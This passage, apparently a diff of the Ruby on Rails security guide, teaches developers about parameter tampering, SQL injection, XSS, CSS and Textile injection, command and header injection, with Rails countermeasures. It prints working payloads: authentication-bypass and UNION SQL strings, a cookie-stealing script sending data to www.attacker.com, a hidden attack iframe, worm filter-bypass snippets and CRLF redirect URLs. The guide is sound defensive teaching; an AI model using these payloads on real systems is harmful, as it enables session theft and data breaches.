+ The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
606
+
607
+ <ruby>
608
+ @project = Project.find(params[:id])
609
+ </ruby>
610
+
611
+ This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
612
+
613
+ <ruby>
614
+ @project = @current_user.projects.find(params[:id])
615
+ </ruby>
616
+
617
+ Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
618
+
619
+ Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
620
+
621
+ h3. Injection
622
+
623
+ -- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
624
+
625
+ Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
626
+
627
+ h4. Whitelists versus Blacklists
628
+
629
+ -- _When sanitizing, protecting or verifying something, whitelists over blacklists._
630
+
631
+ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
632
+
633
+ * Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
634
+ * Use attr_accessible instead of attr_protected. See the mass-assignment section for details
635
+ * Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
636
+ * Don't try to correct user input by blacklists:
637
+ ** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
638
+ ** But reject malformed input
639
+
640
+ Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
641
+
642
+ h4. SQL Injection
643
+
644
+ -- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
645
+
646
+ h5(#sql-injection-introduction). Introduction
647
+
648
+ SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
649
+
650
+ <ruby>
651
+ Project.where("name = '#{params[:name]}'")
652
+ </ruby>
653
+
654
+ This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
655
+
656
+ <sql>
657
+ SELECT * FROM projects WHERE name = '' OR 1 --'
658
+ </sql>
659
+
660
+ The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
661
+
662
+ h5. Bypassing Authorization
663
+
664
+ Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
665
+
666
+ <ruby>
667
+ User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
668
+ </ruby>
669
+
670
+ If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
671
+
672
+ <sql>
673
+ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
674
+ </sql>
675
+
676
+ This will simply find the first record in the database, and grants access to this user.
677
+
678
+ h5. Unauthorized Reading
679
+
680
+ The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
681
+
682
+ <ruby>
683
+ Project.where("name = '#{params[:name]}'")
684
+ </ruby>
685
+
686
+ And now let's inject another query using the UNION statement:
687
+
688
+ <plain>
689
+ ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
690
+ </plain>
691
+
692
+ This will result in the following SQL query:
693
+
694
+ <sql>
695
+ SELECT * FROM projects WHERE (name = '') UNION
696
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --'
697
+ </sql>
698
+
699
+ The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
700
+
701
+ Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
702
+
703
+ h5(#sql-injection-countermeasures). Countermeasures
704
+
705
+ Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
706
+
707
+ Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
708
+
709
+ <ruby>
710
+ Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
711
+ </ruby>
712
+
713
+ As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
714
+
715
+ <ruby>
716
+ Model.where(:login => entered_user_name, :password => entered_password).first
717
+ </ruby>
718
+
719
+ The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
720
+
721
+ h4. Cross-Site Scripting (XSS)
722
+
723
+ -- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
724
+
725
+ h5. Entry Points
726
+
727
+ An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
728
+
729
+ The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
730
+
731
+ XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
732
+
733
+ During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
734
+
735
+ A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
736
+
737
+ h5. HTML/JavaScript Injection
738
+
739
+ The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
740
+
741
+ Here is the most straightforward test to check for XSS:
742
+
743
+ <html>
744
+ <script>alert('Hello');</script>
745
+ </html>
746
+
747
+ This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
748
+
749
+ <html>
750
+ <img src=javascript:alert('Hello')>
751
+ <table background="javascript:alert('Hello')">
752
+ </html>
753
+
754
+ h6. Cookie Theft
755
+
756
+ These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
757
+
758
+ <plain>
759
+ <script>document.write(document.cookie);</script>
760
+ </plain>
761
+
762
+ For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
763
+
764
+ <html>
765
+ <script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
766
+ </html>
767
+
768
+ The log files on www.attacker.com will read like this:
769
+
770
+ <plain>
771
+ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
772
+ </plain>
773
+
774
+ You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
775
+
776
+ h6. Defacement
777
+
778
+ With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
779
+
780
+ <html>
781
+ <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
782
+ </html>
783
+
784
+ This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
785
+
786
+ A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
787
+
788
+ Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
789
+
790
+ <plain>
791
+ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
792
+ <script src=http://www.securitylab.ru/test/sc.js></script><!--
793
+ </plain>
794
+
795
+ h6(#html-injection-countermeasures). Countermeasures
796
+
797
+ _(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
798
+
799
+ Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
800
+
801
+ Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
802
+
803
+ <ruby>
804
+ strip_tags("some<<b>script>alert('hello')<</b>/script>")
805
+ </ruby>
806
+
807
+ This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
808
+
809
+ <ruby>
810
+ tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
811
+ s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
812
+ </ruby>
813
+
814
+ This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
815
+
816
+ As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
817
+
818
+ h6. Obfuscation and Encoding Injection
819
+
820
+ Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
821
+
822
+ <html>
823
+ <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
824
+ &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
825
+ </html>
826
+
827
+ This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks.
828
+
829
+ h5. Examples from the Underground
830
+
831
+ _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
832
+
833
+ The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
834
+
835
+ <html>
836
+ <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
837
+ target=""onload="var http_request = false; var Email = '';
838
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
839
+ </html>
840
+
841
+ The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
842
+
843
+ Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
844
+
845
+ In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
846
+
847
+ The MySpace Samy worm will be discussed in the CSS Injection section.
848
+
849
+ h4. CSS Injection
850
+
851
+ -- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
852
+
853
+ CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
854
+
855
+ MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
856
+
857
+ <html>
858
+ <div style="background:url('javascript:alert(1)')">
859
+ </html>
860
+
861
+ So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
862
+
863
+ <html>
864
+ <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
865
+ </html>
866
+
867
+ The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
868
+
869
+ <plain>
870
+ alert(eval('document.body.inne' + 'rHTML'));
871
+ </plain>
872
+
873
+ The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
874
+
875
+ <html>
876
+ <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
877
+ </html>
878
+
879
+ Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
880
+
881
+ In the end, he got a 4 KB worm, which he injected into his profile page.
882
+
883
+ The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
884
+
885
+ h5(#css-injection-countermeasures). Countermeasures
886
+
887
+ This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
888
+
889
+ h4. Textile Injection
890
+
891
+ -- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
892
+
893
+ For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
894
+
895
+ <ruby>
896
+ RedCloth.new('<script>alert(1)</script>').to_html
897
+ # => "<script>alert(1)</script>"
898
+ </ruby>
899
+
900
+ Use the :filter_html option to remove HTML which was not created by the Textile processor.
901
+
902
+ <ruby>
903
+ RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
904
+ # => "alert(1)"
905
+ </ruby>
906
+
907
+ However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
908
+
909
+ <ruby>
910
+ RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
911
+ # => "<p><a href="javascript:alert(1)">hello</a></p>"
912
+ </ruby>
913
+
914
+ h5(#textile-injection-countermeasures). Countermeasures
915
+
916
+ It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
917
+
918
+ h4. Ajax Injection
919
+
920
+ -- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
921
+
922
+ If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
923
+
924
+ h4. Command Line Injection
925
+
926
+ -- _Use user-supplied command line parameters with caution._
927
+
928
+ If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
929
+
930
+ A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
931
+
932
+ <ruby>
933
+ system("/bin/echo","hello; rm *")
934
+ # prints "hello; rm *" and does not delete files
935
+ </ruby>
936
+
937
+
938
+ h4. Header Injection
939
+
940
+ -- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
941
+
942
+ HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
943
+
944
+ Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
945
+
946
+ <ruby>
947
+ redirect_to params[:referer]
948
+ </ruby>
949
+
950
+ What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
951
+
952
+ <plain>
953
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
954
+ </plain>
955
+
956
+ And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
957
+
958
+ <plain>
959
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
960
+ http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
961
+ </plain>
962
+
963
+ Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
964
+
965
+ <plain>
966
+ HTTP/1.1 302 Moved Temporarily
967
+ (...)
968
+ Location: http://www.malicious.tld
969
+ </plain>
970
+
971
+ So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
972
+
973
+ h5. Response Splitting
974
+
975
+ If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
976
+
977
+ <plain>
978
+ HTTP/1.1 302 Found [First standard 302 response]
979
+ Date: Tue, 12 Apr 2005 22:09:07 GMT
980
+ Location:
Content-Type: text/html
981
+
982
+
983
+ HTTP/1.1 200 OK [Second New response created by attacker begins]
984
+ Content-Type: text/html
985
+
986
+
987
+ &lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
988
+ Keep-Alive: timeout=15, max=100 shown as the redirected page]
989
+ Connection: Keep-Alive
990
+ Transfer-Encoding: chunked
991
+ Content-Type: text/html
992
+ </plain>
993
+
994
+ Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
995
+
996
+
997
+ h3. Additional Resources
998
+
999
+ The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
1000
+
1001
+ * The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
1002
+ * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
1003
+ * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
1004
+ * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html